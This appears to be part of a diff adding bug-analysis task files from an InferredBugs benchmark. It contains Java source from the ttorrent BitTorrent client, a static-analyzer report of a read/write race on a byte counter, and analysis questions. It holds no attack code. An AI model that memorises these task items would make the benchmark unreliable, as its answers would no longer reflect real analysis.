+      logger.trace("Requesting {} from {}, we now have {} " +
+                      " outstanding request(s): {}.",
+              new Object[]{chosen, peer,
+                      this.requestedPieces.cardinality(),
+                      this.requestedPieces
+              });
+      peer.downloadPiece(chosen, endGameMode);
+      interesting.clear(chosen.getIndex());
+      //stop requesting if in endGameMode
+      if (endGameMode) return;
+    }
+  }
+
+  private synchronized void initIfNecessary(SharingPeer peer) {
+    if (!isInitialized()) {
+      try {
+        init();
+      } catch (InterruptedException e) {
+        logger.info("Interrupted init", e);
+        peer.unbind(true);
+        return;
+      } catch (IOException e) {
+        logger.info("IOE during init", e);
+        peer.unbind(true);
+        return;
+      }
+    }
+  }
+
+  /**
+   * Piece availability handler.
+   * <p/>
+   * <p>
+   * Handle updates in piece availability from a peer's HAVE message. When
+   * this happens, we need to mark that piece as available from the peer.
+   * </p>
+   *
+   * @param peer  The peer we got the update from.
+   * @param piece The piece that became available.
+   */
+  @Override
+  public synchronized void handlePieceAvailability(SharingPeer peer,
+                                                   Piece piece) {
+    // If we don't have this piece, tell the peer we're interested in
+    // getting it from him.
+    if (!this.completedPieces.get(piece.getIndex()) &&
+            !this.requestedPieces.get(piece.getIndex())) {
+      peer.interesting();
+    }
+
+    piece.seenAt(peer);
+    this.rarest.add(piece);
+
+    logger.trace("Peer {} contributes {} piece(s) [{}/{}/{}].",
+            new Object[]{
+                    peer,
+                    peer.getAvailablePieces().cardinality(),
+                    this.completedPieces.cardinality(),
+                    this.getAvailablePieces().cardinality(),
+                    this.pieces.length
+            });
+
+    if (!peer.isChoked() &&
+            peer.isInteresting() &&
+            !peer.isDownloading()) {
+      this.handlePeerReady(peer);
+    }
+  }
+
+  /**
+   * Bit field availability handler.
+   * <p/>
+   * <p>
+   * Handle updates in piece availability from a peer's BITFIELD message.
+   * When this happens, we need to mark in all the pieces the peer has that
+   * they can be reached through this peer, thus augmenting the global
+   * availability of pieces.
+   * </p>
+   *
+   * @param peer            The peer we got the update from.
+   * @param availablePieces The pieces availability bit field of the peer.
+   */
+  @Override
+  public synchronized void handleBitfieldAvailability(SharingPeer peer,
+                                                      BitSet availablePieces) {
+    // Determine if the peer is interesting for us or not, and notify it.
+    BitSet interesting = (BitSet) availablePieces.clone();
+    interesting.andNot(this.completedPieces);
+    interesting.andNot(this.requestedPieces);
+
+    if (interesting.cardinality() == 0) {
+      peer.notInteresting();
+    } else {
+      peer.interesting();
+    }
+
+    // Record the peer has all the pieces it told us it had.
+    for (int i = availablePieces.nextSetBit(0); i >= 0;
+         i = availablePieces.nextSetBit(i + 1)) {
+      this.pieces[i].seenAt(peer);
+      this.rarest.add(this.pieces[i]);
+    }
+
+    logger.trace("Peer {} contributes {} piece(s) [{}/{}/{}].",
+            new Object[]{
+                    peer,
+                    availablePieces.cardinality(),
+                    this.completedPieces.cardinality(),
+                    this.getAvailablePieces().cardinality(),
+                    this.pieces.length
+            });
+  }
+
+  public int getDownloadersCount() {
+    return myDownloaders.size();
+  }
+
+  @Override
+  public void afterPeerRemoved(SharingPeer peer) {
+
+  }
+
+  /**
+   * Piece upload completion handler.
+   * <p/>
+   * <p>
+   * When a piece has been sent to a peer, we just record that we sent that
+   * many bytes. If the piece is valid on the peer's side, it will send us a
+   * HAVE message and we'll record that the piece is available on the peer at
+   * that moment (see <code>handlePieceAvailability()</code>).
+   * </p>
+   *
+   * @param peer  The peer we got this piece from.
+   * @param piece The piece in question.
+   */
+  @Override
+  public synchronized void handlePieceSent(SharingPeer peer, Piece piece) {
+    logger.trace("Completed upload of {} to {}.", piece, peer);
+    this.uploaded += piece.size();
+  }
+
+  /**
+   * Piece download completion handler.
+   * <p/>
+   * <p>
+   * If the complete piece downloaded is valid, we can record in the torrent
+   * completedPieces bit field that we know have this piece.
+   * </p>
+   *
+   * @param peer  The peer we got this piece from.
+   * @param piece The piece in question.
+   */
+  @Override
+  public synchronized void handlePieceCompleted(SharingPeer peer,
+                                                Piece piece) throws IOException {
+    // Regardless of validity, record the number of bytes downloaded and
+    // mark the piece as not requested anymore
+    this.downloaded += piece.size();
+    this.requestedPieces.set(piece.getIndex(), false);
+
+    logger.trace("We now have {} piece(s) and {} outstanding request(s): {}",
+            new Object[]{
+                    this.completedPieces.cardinality(),
+                    this.requestedPieces.cardinality(),
+                    this.requestedPieces
+            });
+  }
+
+  /**
+   * Peer disconnection handler.
+   * <p/>
+   * <p>
+   * When a peer disconnects, we need to mark in all of the pieces it had
+   * available that they can't be reached through this peer anymore.
+   * </p>
+   *
+   * @param peer The peer we got this piece from.
+   */
+  @Override
+  public synchronized void handlePeerDisconnected(SharingPeer peer) {
+    BitSet availablePieces = peer.getAvailablePieces();
+
+    for (int i = availablePieces.nextSetBit(0); i >= 0;
+         i = availablePieces.nextSetBit(i + 1)) {
+      this.pieces[i].noLongerAt(peer);
+      this.rarest.add(this.pieces[i]);
+    }
+
+    Set<Piece> requested = peer.getRequestedPieces();
+    if (requested != null) {
+      for (Piece piece : requested) {
+        this.requestedPieces.set(piece.getIndex(), false);
+      }
+    }
+
+    myDownloaders.remove(peer);
+
+    try {
+      closeFileChannelIfNecessary();
+    } catch (IOException e) {
+      logger.info("I/O error on attempt to close file storage: " + e.toString());
+    }
+
+    logger.debug("Peer {} went away with {} piece(s) [{}/{}/{}].",
+            new Object[]{
+                    peer,
+                    availablePieces.cardinality(),
+                    this.completedPieces.cardinality(),
+                    this.getAvailablePieces().cardinality(),
+                    this.pieces.length
+            });
+    logger.trace("We now have {} piece(s) and {} outstanding request(s): {}",
+            new Object[]{
+                    this.completedPieces.cardinality(),
+                    this.requestedPieces.cardinality(),
+                    this.requestedPieces
+            });
+  }
+
+  @Override
+  public synchronized void handleIOException(SharingPeer peer,
+                                             IOException ioe) { /* Do nothing */ }
+
+  @Override
+  public synchronized void handleNewPeerConnected(SharingPeer peer) {
+    initIfNecessary(peer);
+    openFileChannelIfNecessary();
+    if (clientState != ClientState.ERROR) {
+      myDownloaders.add(peer);
+    }
+  }
+
+  @Override
+  public String toString() {
+    return "SharedTorrent{" +
+            Arrays.toString(getFilenames().toArray()) +
+            "}";
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.turn.ttorrent.client.SharedTorrent.getUploaded` reads without synchronization from `this.com.turn.ttorrent.client.SharedTorrent.uploaded`. Potentially races with write in method `SharedTorrent.handlePieceSent(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+long SharedTorrent.getUploaded()
+
+### Procedure Id:
+com.turn.ttorrent.client.SharedTorrent.getUploaded():long.b1995f77442f8aec7bcf8194447aabef
+
+### File:
+ttorrent-client/src/main/java/com/turn/ttorrent/client/SharedTorrent.java
+
+### Key:
+SharedTorrent.java|getUploaded|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+4356cf7b76c705ea921aba499e00bece
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10041/instruction.md b/inferredbugs-10041/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..83d2523881b9fe1b25862bb56c9cfd9b2b25f3f2
--- /dev/null
+++ b/inferredbugs-10041/instruction.md
@@ -0,0 +1,1046 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ttorrent
+**Bug ID:** 53
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (C) 2011-2012 Turn, Inc.
+ * <p>
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * <p>
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * <p>
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.turn.ttorrent.client;
+
+import com.turn.ttorrent.Constants;
+import com.turn.ttorrent.client.announce.Announce;
+import com.turn.ttorrent.client.announce.AnnounceException;
+import com.turn.ttorrent.client.announce.AnnounceResponseListener;
+import com.turn.ttorrent.client.network.CountLimitConnectionAllower;
+import com.turn.ttorrent.client.network.OutgoingConnectionListener;
+import com.turn.ttorrent.client.network.StateChannelListener;
+import com.turn.ttorrent.client.peer.PeerActivityListener;
+import com.turn.ttorrent.client.peer.SharingPeer;
+import com.turn.ttorrent.common.*;
+import com.turn.ttorrent.common.protocol.AnnounceRequestMessage;
+import com.turn.ttorrent.common.protocol.PeerMessage;
+import com.turn.ttorrent.network.ConnectTask;
+import com.turn.ttorrent.network.ConnectionListener;
+import com.turn.ttorrent.network.ConnectionManager;
+import com.turn.ttorrent.network.ConnectionManagerContext;
+import org.slf4j.Logger;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.URI;
+import java.nio.ByteBuffer;
+import java.nio.channels.ByteChannel;
+import java.security.NoSuchAlgorithmException;
+import java.util.*;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static com.turn.ttorrent.Constants.DEFAULT_SOCKET_CONNECTION_TIMEOUT_MILLIS;
+import static com.turn.ttorrent.common.protocol.AnnounceRequestMessage.RequestEvent.*;
+
+/**
+ * A pure-java BitTorrent client.
+ * <p/>
+ * <p>
+ * A BitTorrent client in its bare essence shares a given torrent. If the
+ * torrent is not complete locally, it will continue to download it. If or
+ * after the torrent is complete, the client may eventually continue to seed it
+ * for other clients.
+ * </p>
+ * <p/>
+ * <p>
+ * This BitTorrent client implementation is made to be simple to embed and
+ * simple to use. First, initialize a ShareTorrent object from a torrent
+ * meta-info source (either a file or a byte array, see
+ * com.turn.ttorrent.SharedTorrent for how to create a SharedTorrent object).
+ * </p>
+ *
+ * @author mpetazzoni
+ */
+public class Client implements AnnounceResponseListener, PeerActivityListener, TorrentStateListener, Context, ConnectionManagerContext {
+
+  protected static final Logger logger = TorrentLoggerFactory.getLogger();
+
+  /**
+   * Peers unchoking frequency, in seconds. Current BitTorrent specification
+   * recommends 10 seconds to avoid choking fibrilation.
+   */
+  private static final int UNCHOKING_FREQUENCY = 3;
+
+  /**
+   * Optimistic unchokes are done every 2 loop iterations, i.e. every
+   * 2*UNCHOKING_FREQUENCY seconds.
+   */
+  private static final int OPTIMISTIC_UNCHOKE_ITERATIONS = 3;
+
+  private static final int RATE_COMPUTATION_ITERATIONS = 2;
+  private static final int MAX_DOWNLOADERS_UNCHOKE = 10;
+
+  /**
+   * Default data output directory.
+   */
+  private static final String DEFAULT_OUTPUT_DIRECTORY = "/tmp";
+
+  public static final String BITTORRENT_ID_PREFIX = "-TO0042-";
+
+  private AtomicBoolean stop = new AtomicBoolean(false);
+
+  private Announce announce;
+
+  private Random random;
+  private volatile boolean myStarted = false;
+  private final TorrentLoader myTorrentLoader;
+  private final TorrentsStorage torrentsStorage;
+  private final CountLimitConnectionAllower myInConnectionAllower;
+  private final CountLimitConnectionAllower myOutConnectionAllower;
+  private final AtomicInteger mySendBufferSize;
+  private final AtomicInteger myReceiveBufferSize;
+  private final PeersStorage peersStorage;
+  private volatile ConnectionManager myConnectionManager;
+  private final ExecutorService myExecutorService;
+  private final ExecutorService myPieceValidatorExecutor;
+
+  /**
+   * @param executorService executor service for run connection worker and process incoming data. Must have a pool size at least 2
+   */
+  public Client(ExecutorService executorService) {
+    this.random = new Random(System.currentTimeMillis());
+    this.announce = new Announce(this);
+    this.torrentsStorage = new TorrentsStorage();
+    this.peersStorage = new PeersStorage();
+    this.mySendBufferSize = new AtomicInteger();
+    this.myTorrentLoader = new TorrentLoaderImpl(this.torrentsStorage);
+    this.myReceiveBufferSize = new AtomicInteger();
+    this.myInConnectionAllower = new CountLimitConnectionAllower(peersStorage);
+    this.myOutConnectionAllower = new CountLimitConnectionAllower(peersStorage);
+    this.myExecutorService = executorService;
+    myPieceValidatorExecutor = Executors.newFixedThreadPool(4);
+  }
+
+  public String addTorrent(String dotTorrentFilePath, String downloadDirPath) throws IOException, InterruptedException, NoSuchAlgorithmException {
+    return addTorrent(dotTorrentFilePath, downloadDirPath, false, false);
+  }
+
+  public String addTorrent(String dotTorrentFilePath, String downloadDirPath, boolean seeder, boolean leecher) throws IOException, InterruptedException, NoSuchAlgorithmException {
+    Torrent torrent = Torrent.load(new File(dotTorrentFilePath));
+    final AnnounceableTorrentImpl announceableTorrent = new AnnounceableTorrentImpl(
+            new TorrentStatistic(),
+            torrent.getHexInfoHash(),
+            torrent.getInfoHash(),
+            torrent.getAnnounceList(),
+            torrent.getAnnounce(),
+            downloadDirPath,
+            dotTorrentFilePath,
+            seeder);
+    this.torrentsStorage.addAnnounceableTorrent(torrent.getHexInfoHash(), announceableTorrent);
+
+    if (seeder) {
+      announceableTorrent.getTorrentStatistic().setLeft(0);
+    } else {
+      announceableTorrent.getTorrentStatistic().setLeft(torrent.getSize());
+    }
+
+    forceAnnounceAndLogError(announceableTorrent, seeder ? COMPLETED : STARTED, announceableTorrent.getDotTorrentFilePath());
+    logger.debug(String.format("Added torrent %s (%s)", torrent.getName(), torrent.getHexInfoHash()));
+    return torrent.getHexInfoHash();
+  }
+
+  private void forceAnnounceAndLogError(AnnounceableTorrent torrent, AnnounceRequestMessage.RequestEvent event,
+                                        String dotTorrentFilePath) {
+    try {
+      this.announce.forceAnnounce(torrent, this, event);
+    } catch (IOException e) {
+      logger.warn("unable to force announce torrent {}. Dot torrent path is {}", torrent.getHexInfoHash(), dotTorrentFilePath);
+      logger.debug("", e);
+    }
+  }
+
+  public void removeTorrent(TorrentHash torrentHash) {
+    logger.debug("Stopping seeding " + torrentHash.getHexInfoHash());
+    final Pair<SharedTorrent, AnnounceableFileTorrent> torrents = torrentsStorage.remove(torrentHash.getHexInfoHash());
+
+    SharedTorrent torrent = torrents.first();
+    if (torrent != null) {
+      torrent.setClientState(ClientState.DONE);
+      torrent.close();
+    } else {
+      logger.warn(String.format("Torrent %s already removed from myTorrents", torrentHash.getHexInfoHash()));
+    }
+    sendStopEvent(torrents.second(), torrentHash.getHexInfoHash());
+  }
+
+  public void removeAndDeleteTorrent(String torrentHash, SharedTorrent torrent) {
+    final Pair<SharedTorrent, AnnounceableFileTorrent> torrents = torrentsStorage.remove(torrentHash);
+    final SharedTorrent sharedTorrent = torrents.first() == null ? torrent : torrents.first();
+    if (sharedTorrent != null) {
+      sharedTorrent.setClientState(ClientState.DONE);
+      sharedTorrent.delete();
+    }
+    sendStopEvent(torrents.second(), torrentHash);
+  }
+
+  private void sendStopEvent(AnnounceableFileTorrent announceableFileTorrent, String torrentHash) {
+    if (announceableFileTorrent == null) {
+      logger.info("Announceable torrent {} not found in storage after unsuccessful download attempt", torrentHash);
+      return;
+    }
+    forceAnnounceAndLogError(announceableFileTorrent, STOPPED, announceableFileTorrent.getDotTorrentFilePath());
+  }
+
+  public void setAnnounceInterval(final int announceInterval) {
+    announce.setAnnounceInterval(announceInterval);
+  }
+
+  /**
+   * Return the torrent this client is exchanging on.
+   */
+  public Collection<SharedTorrent> getTorrents() {
+    return this.torrentsStorage.activeTorrents();
+  }
+
+  public SharedTorrent getTorrentByFilePath(File file) {
+    String path = file.getAbsolutePath();
+    for (SharedTorrent torrent : torrentsStorage.activeTorrents()) {
+      File parentFile = torrent.getParentFile();
+      final List<String> filenames = TorrentUtils.getTorrentFileNames(torrent);
+      for (String filename : filenames) {
+        File seededFile = new File(parentFile, filename);
+        if (seededFile.getAbsolutePath().equals(path)) {
+          return torrent;
+        }
+      }
+    }
+    return null;
+  }
+
+  public URI getDefaultTrackerURI() {
+    return announce.getDefaultTrackerURI();
+  }
+
+  /**
+   * Returns the set of known peers.
+   */
+  public Set<SharingPeer> getPeers() {
+    return new HashSet<SharingPeer>(this.peersStorage.getSharingPeers());
+  }
+
+  public void setMaxInConnectionsCount(int maxConnectionsCount) {
+    this.myInConnectionAllower.setMyMaxConnectionCount(maxConnectionsCount);
+  }
+
+  /**
+   * set ups new receive buffer size, that will be applied to all new connections.
+   * If value is equal or less, than zero, then method doesn't have effect
+   *
+   * @param newSize new size
+   */
+  public void setReceiveBufferSize(int newSize) {
+    myReceiveBufferSize.set(newSize);
+  }
+
+  /**
+   * set ups new send buffer size, that will be applied to all new connections.
+   * If value is equal or less, than zero, then method doesn't have effect
+   *
+   * @param newSize new size
+   */
+  public void setSendBufferSize(int newSize) {
+    mySendBufferSize.set(newSize);
+  }
+
+  public void setMaxOutConnectionsCount(int maxConnectionsCount) {
+    this.myOutConnectionAllower.setMyMaxConnectionCount(maxConnectionsCount);
+  }
+
+  public void start(final InetAddress... bindAddresses) throws IOException {
+    start(bindAddresses, Constants.DEFAULT_ANNOUNCE_INTERVAL_SEC, null);
+  }
+
+  public void start(final InetAddress[] bindAddresses, final URI defaultTrackerURI) throws IOException {
+    start(bindAddresses, Constants.DEFAULT_ANNOUNCE_INTERVAL_SEC, defaultTrackerURI);
+  }
+
+  public Peer[] getSelfPeers(final InetAddress[] bindAddresses) throws UnsupportedEncodingException {
+    Peer self = peersStorage.getSelf();
+
+    if (self == null) {
+      return new Peer[0];
+    }
+
+    Peer[] result = new Peer[bindAddresses.length];
+    for (int i = 0; i < bindAddresses.length; i++) {
+      final InetAddress bindAddress = bindAddresses[i];
+      final Peer peer = new Peer(new InetSocketAddress(bindAddress.getHostAddress(), self.getPort()));
+      peer.setTorrentHash(self.getHexInfoHash());
+      //if we have more, that one bind address, then only for first set self peer id. For other generate it
+      if (i == 0) {
+        peer.setPeerId(self.getPeerId());
+      } else {
+        final String id = Client.BITTORRENT_ID_PREFIX + UUID.randomUUID().toString().split("-")[4];
+        byte[] idBytes = id.getBytes(Torrent.BYTE_ENCODING);
+        peer.setPeerId(ByteBuffer.wrap(idBytes));
+      }
+      result[i] = peer;
+    }
+    return result;
+  }
+
+  public void start(final InetAddress[] bindAddresses, final int announceIntervalSec, final URI defaultTrackerURI) throws IOException {
+    this.myConnectionManager = new ConnectionManager(
+            this,
+            new SystemTimeService(),
+            myInConnectionAllower,
+            myOutConnectionAllower,
+            mySendBufferSize,
+            myReceiveBufferSize);
+    this.setSocketConnectionTimeout(DEFAULT_SOCKET_CONNECTION_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+    try {
+      this.myConnectionManager.initAndRunWorker();
+    } catch (IOException e) {
+      LoggerUtils.errorAndDebugDetails(logger, "error in initialization server channel", e);
+      this.stop();
+      return;
+    }
+    final String id = Client.BITTORRENT_ID_PREFIX + UUID.randomUUID().toString().split("-")[4];
+    byte[] idBytes = id.getBytes(Torrent.BYTE_ENCODING);
+    Peer self = new Peer(new InetSocketAddress(myConnectionManager.getBindPort()), ByteBuffer.wrap(idBytes));
+    peersStorage.setSelf(self);
+    logger.info("BitTorrent client [{}] started and " +
+                    "listening at {}:{}...",
+            new Object[]{
+                    self.getShortHexPeerId(),
+                    self.getIp(),
+                    self.getPort()
+            });
+
+    announce.start(defaultTrackerURI, this, getSelfPeers(bindAddresses), announceIntervalSec);
+    this.stop.set(false);
+
+    myStarted = true;
+  }
+
+  /**
+   * Immediately but gracefully stop this client.
+   */
+  public void stop() {
+    this.stop(60, TimeUnit.SECONDS);
+  }
+
+  public void stop(int timeout, TimeUnit timeUnit) {
+    boolean wasStopped = this.stop.getAndSet(true);
+    if (wasStopped) return;
+
+    if (!myStarted)
+      return;
+
+    this.myConnectionManager.close();
+
+    logger.trace("try stop announce thread...");
+
+    this.announce.stop();
+
+    logger.trace("announce thread is stopped");
+
+    myPieceValidatorExecutor.shutdownNow();
+
+    if (timeout > 0) {
+      boolean terminatedSuccessfully;
+      try {
+        terminatedSuccessfully = myPieceValidatorExecutor.awaitTermination(timeout, timeUnit);
+      } catch (InterruptedException e) {
+        terminatedSuccessfully = false;
+      }
+      if (!terminatedSuccessfully) {
+        logger.warn("Unable to await termination of piece validator executor in {} {}", timeout, timeUnit);
+      }
+    }
+
+    for (SharedTorrent torrent : this.torrentsStorage.activeTorrents()) {
+      logger.trace("try close torrent {}", torrent);
+      torrent.close();
+      if (torrent.isFinished()) {
+        torrent.setClientState(ClientState.DONE);
+      } else {
+        torrent.setClientState(ClientState.ERROR);
+      }
+    }
+
+    logger.debug("Closing all remaining peer connections...");
+    for (SharingPeer peer : this.peersStorage.getSharingPeers()) {
+      peer.unbind(true);
+    }
+
+    torrentsStorage.clear();
+    logger.info("BitTorrent client signing off.");
+  }
+
+  public void setCleanupTimeout(int timeout, TimeUnit timeUnit) throws IllegalStateException {
+    ConnectionManager connectionManager = this.myConnectionManager;
+    if (connectionManager == null) {
+      throw new IllegalStateException("connection manager is null");
+    }
+    connectionManager.setCleanupTimeout(timeUnit.toMillis(timeout));
+  }
+
+  public void setSocketConnectionTimeout(int timeout, TimeUnit timeUnit) throws IllegalStateException {
+    ConnectionManager connectionManager = this.myConnectionManager;
+    if (connectionManager == null) {
+      throw new IllegalStateException("connection manager is null");
+    }
+    connectionManager.setSocketConnectionTimeout(timeUnit.toMillis(timeout));
+  }
+
+  /**
+   * Tells whether we are a seed for the torrent we're sharing.
+   */
+  public boolean isSeed(String hexInfoHash) {
+    SharedTorrent t = this.torrentsStorage.getTorrent(hexInfoHash);
+    return t != null && t.isComplete();
+  }
+
+  public void downloadUninterruptibly(final String dotTorrentPath,
+                                      final String downloadDirPath,
+                                      final long downloadTimeoutSeconds) throws IOException, InterruptedException, NoSuchAlgorithmException {
+    downloadUninterruptibly(dotTorrentPath, downloadDirPath, downloadTimeoutSeconds, 1, new AtomicBoolean(false), 5000);
+  }
+
+  public void downloadUninterruptibly(final String dotTorrentPath,
+                                      final String downloadDirPath,
+                                      final long idleTimeoutSec,
+                                      final int minSeedersCount,
+                                      final AtomicBoolean isInterrupted,
+                                      final long maxTimeForConnectMs) throws IOException, InterruptedException, NoSuchAlgorithmException {
+    downloadUninterruptibly(dotTorrentPath, downloadDirPath, idleTimeoutSec, minSeedersCount, isInterrupted,
+            maxTimeForConnectMs, new DownloadProgressListener.NopeListener());
+  }
+
+  public void downloadUninterruptibly(final String dotTorrentPath,
+                                      final String downloadDirPath,
+                                      final long idleTimeoutSec,
+                                      final int minSeedersCount,
+                                      final AtomicBoolean isInterrupted,
+                                      final long maxTimeForConnectMs,
+                                      DownloadProgressListener listener) throws IOException, InterruptedException, NoSuchAlgorithmException {
+    String hash = addTorrent(dotTorrentPath, downloadDirPath, false, true);
+
+    final AnnounceableFileTorrent announceableTorrent = torrentsStorage.getAnnounceableTorrent(hash);
+    if (announceableTorrent == null) throw new IOException("Unable to download torrent completely - announceable torrent is not found");
+    final SharedTorrent torrent = SharedTorrent.fromFile(new File(dotTorrentPath),
+            new File(downloadDirPath),
+            false,
+            false,
+            true,
+            announceableTorrent);
+    torrentsStorage.putIfAbsentActiveTorrent(torrent.getHexInfoHash(), torrent);
+
+    long maxIdleTime = System.currentTimeMillis() + idleTimeoutSec * 1000;
+      torrent.addDownloadProgressListener(listener);
+      final long startDownloadAt = System.currentTimeMillis();
+      long currentLeft = torrent.getLeft();
+
+      while (torrent.getClientState() != ClientState.SEEDING &&
+              torrent.getClientState() != ClientState.ERROR &&
+              (torrent.getSeedersCount() >= minSeedersCount || torrent.getLastAnnounceTime() < 0) &&
+              (System.currentTimeMillis() <= maxIdleTime)) {
+        if (Thread.currentThread().isInterrupted() || isInterrupted.get())
+          throw new InterruptedException("Download of " + torrent.getDirectoryName() + " was interrupted");
+        if (currentLeft > torrent.getLeft()) {
+          currentLeft = torrent.getLeft();
+          maxIdleTime = System.currentTimeMillis() + idleTimeoutSec * 1000;
+        }
+        if (System.currentTimeMillis() - startDownloadAt > maxTimeForConnectMs) {
+          if (getPeersForTorrent(torrent.getHexInfoHash()).size() < minSeedersCount) {
+            break;
+          }
+        }
+        Thread.sleep(100);
+      }
+
+    if (!(torrent.isFinished() && torrent.getClientState() == ClientState.SEEDING)) {
+      removeAndDeleteTorrent(hash, torrent);
+
+      final List<SharingPeer> peersForTorrent = getPeersForTorrent(hash);
+      int connectedPeersForTorrent = peersForTorrent.size();
+      for (SharingPeer peer : peersForTorrent) {
+        peer.unbind(true);
+      }
+
+      final String errorMsg;
+      if (System.currentTimeMillis() > maxIdleTime) {
+        int completedPieces = torrent.getCompletedPieces().cardinality();
+        int totalPieces = torrent.getPieceCount();
+        errorMsg = String.format("No pieces has been downloaded in %d seconds. Downloaded pieces %d/%d, connected peers %d"
+                , idleTimeoutSec, completedPieces, totalPieces, connectedPeersForTorrent);
+      } else if (connectedPeersForTorrent < minSeedersCount) {
+        errorMsg = String.format("Not enough seeders. Required %d, found %d", minSeedersCount, connectedPeersForTorrent);
+      } else if (torrent.getClientState() == ClientState.ERROR) {
+        errorMsg = "Torrent state is ERROR";
+      } else {
+        errorMsg = "Unknown error";
+      }
+      throw new IOException("Unable to download torrent completely - " + errorMsg);
+    }
+  }
+
+  public List<SharingPeer> getPeersForTorrent(String torrentHash) {
+    if (torrentHash == null) return new ArrayList<SharingPeer>();
+
+    List<SharingPeer> result = new ArrayList<SharingPeer>();
+    for (SharingPeer sharingPeer : peersStorage.getSharingPeers()) {
+      if (torrentHash.equals(sharingPeer.getHexInfoHash())) {
+        result.add(sharingPeer);
+      }
+    }
+    return result;
+  }
+
+  public boolean isRunning() {
+    return myStarted;
+  }
+
+  /**
+   * Display information about the BitTorrent client state.
+   * <p/>
+   * <p>
+   * This emits an information line in the log about this client's state. It
+   * includes the number of choked peers, number of connected peers, number
+   * of known peers, information about the torrent availability and
+   * completion and current transmission rates.
+   * </p>
+   */
+  public synchronized void info() {
+    float dl = 0;
+    float ul = 0;
+    int numConnected = 0;
+    for (SharingPeer peer : getConnectedPeers()) {
+      dl += peer.getDLRate().get();
+      ul += peer.getULRate().get();
+      numConnected++;
+    }
+
+/*
+    for (SharedTorrent torrent : this.torrents.values()) {
+      logger.debug("[{}]{} {}/{} (Downloaded {} bytes) pieces ({}%) [{}/{}] with {}/{} peers at {}/{} kB/s.",
+        new Object[]{
+          Arrays.toString(torrent.getFilenames().toArray()),
+          torrent.getClientState().name(),
+          torrent.getCompletedPieces().cardinality(),
+          torrent.getPieceCount(),
+          torrent.getDownloaded(),
+          String.format("%.2f", torrent.getCompletion()),
+          torrent.getAvailablePieces().cardinality(),
+          torrent.getRequestedPieces().cardinality(),
+          numConnected,
+          this.peers.size(),
+          String.format("%.2f", dl / 1024.0),
+          String.format("%.2f", ul / 1024.0),
+        });
+    }
+*/
+//    logger.debug("Downloaded bytes: {}", PeerExchange.readBytes);
+
+  }
+
+  /**
+   * Reset peers download and upload rates.
+   * <p/>
+   * <p>
+   * This method is called every RATE_COMPUTATION_ITERATIONS to reset the
+   * download and upload rates of all peers. This contributes to making the
+   * download and upload rate computations rolling averages every
+   * UNCHOKING_FREQUENCY * RATE_COMPUTATION_ITERATIONS seconds (usually 20
+   * seconds).
+   * </p>
+   */
+  private synchronized void resetPeerRates() {
+    for (SharingPeer peer : getConnectedPeers()) {
+      peer.getDLRate().reset();
+      peer.getULRate().reset();
+    }
+  }
+
+  /**
+   * Retrieve a peer comparator.
+   * <p/>
+   * <p>
+   * Returns a peer comparator based on either the download rate or the
+   * upload rate of each peer depending on our state. While sharing, we rely
+   * on the download rate we get from each peer. When our download is
+   * complete and we're only seeding, we use the upload rate instead.
+   * </p>
+   *
+   * @return A SharingPeer comparator that can be used to sort peers based on
+   * the download or upload rate we get from them.
+   */
+  private Comparator<SharingPeer> getPeerRateComparator() {
+/*
+    if (this.seed == 0) {
+      return new SharingPeer.ULRateComparator();
+    }
+*/
+
+    return new SharingPeer.DLRateComparator();
+  }
+
+  /**
+   * Unchoke connected peers.
+   * <p/>
+   * <p>
+   * This is one of the "clever" places of the BitTorrent client. Every
+   * OPTIMISTIC_UNCHOKING_FREQUENCY seconds, we decide which peers should be
+   * unchocked and authorized to grab pieces from us.
+   * </p>
+   * <p/>
+   * <p>
+   * Reciprocation (tit-for-tat) and upload capping is implemented here by
+   * carefully choosing which peers we unchoke, and which peers we choke.
+   * </p>
+   * <p/>
+   * <p>
+   * The four peers with the best download rate and are interested in us get
+   * unchoked. This maximizes our download rate as we'll be able to get data
+   * from there four "best" peers quickly, while allowing these peers to
+   * download from us and thus reciprocate their generosity.
+   * </p>
+   * <p/>
+   * <p>
+   * Peers that have a better download rate than these four downloaders but
+   * are not interested get unchoked too, we want to be able to download from
+   * them to get more data more quickly. If one becomes interested, it takes
+   * a downloader's place as one of the four top downloaders (i.e. we choke
+   * the downloader with the worst upload rate).
+   * </p>
+   *
+   * @param optimistic Whether to perform an optimistic unchoke as well.
+   */
+  private synchronized void unchokePeers(boolean optimistic) {
+    // Build a set of all connected peers, we don't care about peers we're
+    // not connected to.
